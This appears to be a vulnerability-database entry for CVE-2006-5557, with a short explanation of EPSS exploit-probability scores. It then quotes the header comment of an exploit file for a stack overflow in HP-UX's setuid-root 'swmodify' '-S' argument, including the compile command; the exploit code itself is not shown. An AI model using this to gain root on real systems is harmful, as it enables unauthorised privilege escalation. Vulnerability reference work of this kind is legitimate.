CVE-2006-5557 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* HP-UX swmodify buffer overflow exploit * ======================================= * HP-UX 'swmodify' contains an exploitable stack overflow * in the handling of command line arguements. Specifically the * problem occurs due to insufficent bounds checking in the "-S" * optional arguement. 'swmodify' is installed setuid root by * default in HP-UX and allows for local root compromise when * exploiting this issue. * * Example. * $ cc prdelka-vs-HPUX-swmodify.c -o prdelka-vs-HPUX-swmodify * /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file * (prdelka-vs-HPUX-swmodify.o) was detected.
